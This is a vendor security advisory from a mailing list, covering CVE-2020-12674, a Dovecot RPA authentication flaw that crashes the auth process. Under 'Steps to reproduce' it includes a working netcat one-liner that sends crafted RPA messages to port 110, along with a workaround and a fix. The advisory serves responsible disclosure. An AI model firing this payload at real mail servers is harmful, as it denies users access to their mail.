[<prev] [next>] [day] [month] [year] [list]
Date: Wed, 12 Aug 2020 16:14:46 +0300
From: Aki Tuomi <aki.tuomi@...ecot.fi>
To: oss-security <oss-security@...ts.openwall.com>,
full-disclosure <full-disclosure@...ts.openwall.com>
Subject: CVE-2020-12674: Dovecot IMAP server: Specially crafted RPA authentication message crashes auth
Open-Xchange Security Advisory 2020-08-12
Affected product: Dovecot IMAP server
Internal reference: DOP-1869 (Bug ID)
Vulnerability type: CWE-126 (Buffer over-read)
Vulnerable version: 2.2
Vulnerable component: auth
Fixed version: 2.3.11.3
Report confidence: Confirmed
Solution status: Fix available
Vendor notification: 2020-05-03
Researcher credit: Orange from DEVCORE team
CVE reference: CVE-2020-12674
CVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Vulnerability Details:
Dovecot's RPA mechanism implementation accepts zero-length message,
which leads to assert-crash later on
Risk:
An adversary can use this vulnerability to crash dovecot auth process
repeatedly, preventing login.
Steps to reproduce:
(echo 'AUTH RPA'; echo -ne
'\x60\x11\x06\x09\x60\x86\x48\x01\x86\xf8\x73\x01\x01\x01\x00\x04\x00\x00\x01'
| base64 -w 0; echo ; echo -ne
'\x60\x11\x06\x09\x60\x86\x48\x01\x86\xf8\x73\x01\x01\x00\x03A@A\x00' |
base64 -w 0; echo ; echo QUIT) | nc 127.0.0.1 110
Workaround:
Disable RPA authentication.
Solution:
Upgrade to fixed version.
Best regards,
Aki Tuomi
Open-Xchange oy
Download attachment "signature.asc" of type "application/pgp-signature" (489 bytes)
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
